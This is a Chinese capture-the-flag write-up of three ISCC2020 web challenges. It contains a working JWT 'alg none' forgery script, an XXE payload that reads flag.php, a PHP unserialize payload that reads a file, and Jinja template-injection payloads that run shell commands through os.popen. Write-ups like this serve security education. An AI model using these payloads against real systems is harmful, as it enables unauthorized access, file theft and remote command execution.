zoukankan      html  css  js  c++  java
  • ISCC2020 WEB记录

    ISCC2020

    • 最开始的几题web,记录一下解题过程

    Web4 未知的风险-1

    知识点:jwt,xxe

    • 首先打开页面就只有一个hello guest,遂打开cookie查看了一下,发现了有jwt样式的值
      WEB
    • 遂尝试修改,由于描述指出只有user才可访问,所以要构造userjwt
    • 这里修改jwt,采用修改算法为none,具体原理可以看一下这篇文章
      https://www.cnblogs.com/dliv3/p/7450057.html#2-%E4%BF%AE%E6%94%B9%E7%AE%97%E6%B3%95%E4%B8%BAnone
    • exp如下:
    import jwt
    import base64
    
    # 原header
    # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
    # {"typ":"JWT","alg":"HS256"}
    
    # 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
    # {"iss":"http://demo.sjoerdlangkemper.nl/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
    
    def b64urlencode(data):
        return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
    
    # 构造算法字段为none, payload部分可以随意修改
    print(b64urlencode(b"{"typ":"JWT","alg":"none"}") + 
        b'.' + b64urlencode(b"{"id":"user","iat":"1588393520","jti":"37b27d0b48c2465a97e4ba5fb7b06997"}") + b'.')
    
    • 登录进去后发现又有一个登录框,这里其实是NCTF原题
      WEB
    • 所以直接使用payload进行攻击
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY ext SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
    <user><username>&ext;</username><password>0</password></user>
    

    WEB

    Web2 Php is the best language

    知识点:_toString()反序列化绕过

    • 之前接触过不少反序列化的题,但是有一段时间没做了,记忆有些模糊,这次这题刚好回忆一下
    • 首先首页可以下载源码,发现要绕一个_toString()
    <?php  
    @error_reporting(1);
    include 'flag.php';
    class baby 
    {
        public $file;
        function __toString()      
        {
            if(isset($this->file))
            {
                $filename = "./{$this->file}";
                if (base64_encode(file_get_contents($filename)))
                {
                    return base64_encode(file_get_contents($filename));
                }
            }
        }
    }
    if (isset($_GET['data']))
    {
        $data = $_GET['data'];
            $good = unserialize($data);
            echo $good;
    }
    else 
    {
        $url='./index.php';
    }
    
    $html='';
    if(isset($_POST['test'])){
        $s = $_POST['test'];
        $html.="<p>谢谢参与!</p>";
    }
    ?>
    
    • 这里test没什么用处,关键就在于给data的反序列化,对于_toString(),它是把一个对象被当作一个字符串使用,所以我们这里就要尝试构造一个能调用_toString()
    • 所以构造payload如下:
    class baby
    {
    	public $file;
    }
    
    $a = new baby();
    $a->file="flag.php";
    echo serialize($a);
    ?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
    

    WEB

    • 最后在base64解一下就行了

    擂台赛:Easy Injection

    Python template Injection

    • 攻防世界的原题,常规SSTI套路
    • 首先还是查找warnings.catch_warnings,检索索引发现是177,而后尝试命令执行
      %7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22ls%22).read()')%20%7D%7D
    • 遍历出文件
      WEB
    • flog
      %7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22cat%20flog%22).read()')%20%7D%7D
      WEB
  • 相关阅读:
    HDU 1261 字串数(排列组合)
    Codeforces 488C Fight the Monster
    HDU 1237 简单计算器
    POJ 2240 Arbitrage
    POJ 3660 Cow Contest
    POJ 1052 MPI Maelstrom
    POJ 3259 Wormholes
    POJ 3268 Silver Cow Party
    Codesforces 485D Maximum Value
    POJ 2253 Frogger(最短路)
  • 原文地址:https://www.cnblogs.com/Konmu/p/12818069.html
Copyright © 2011-2022 走看看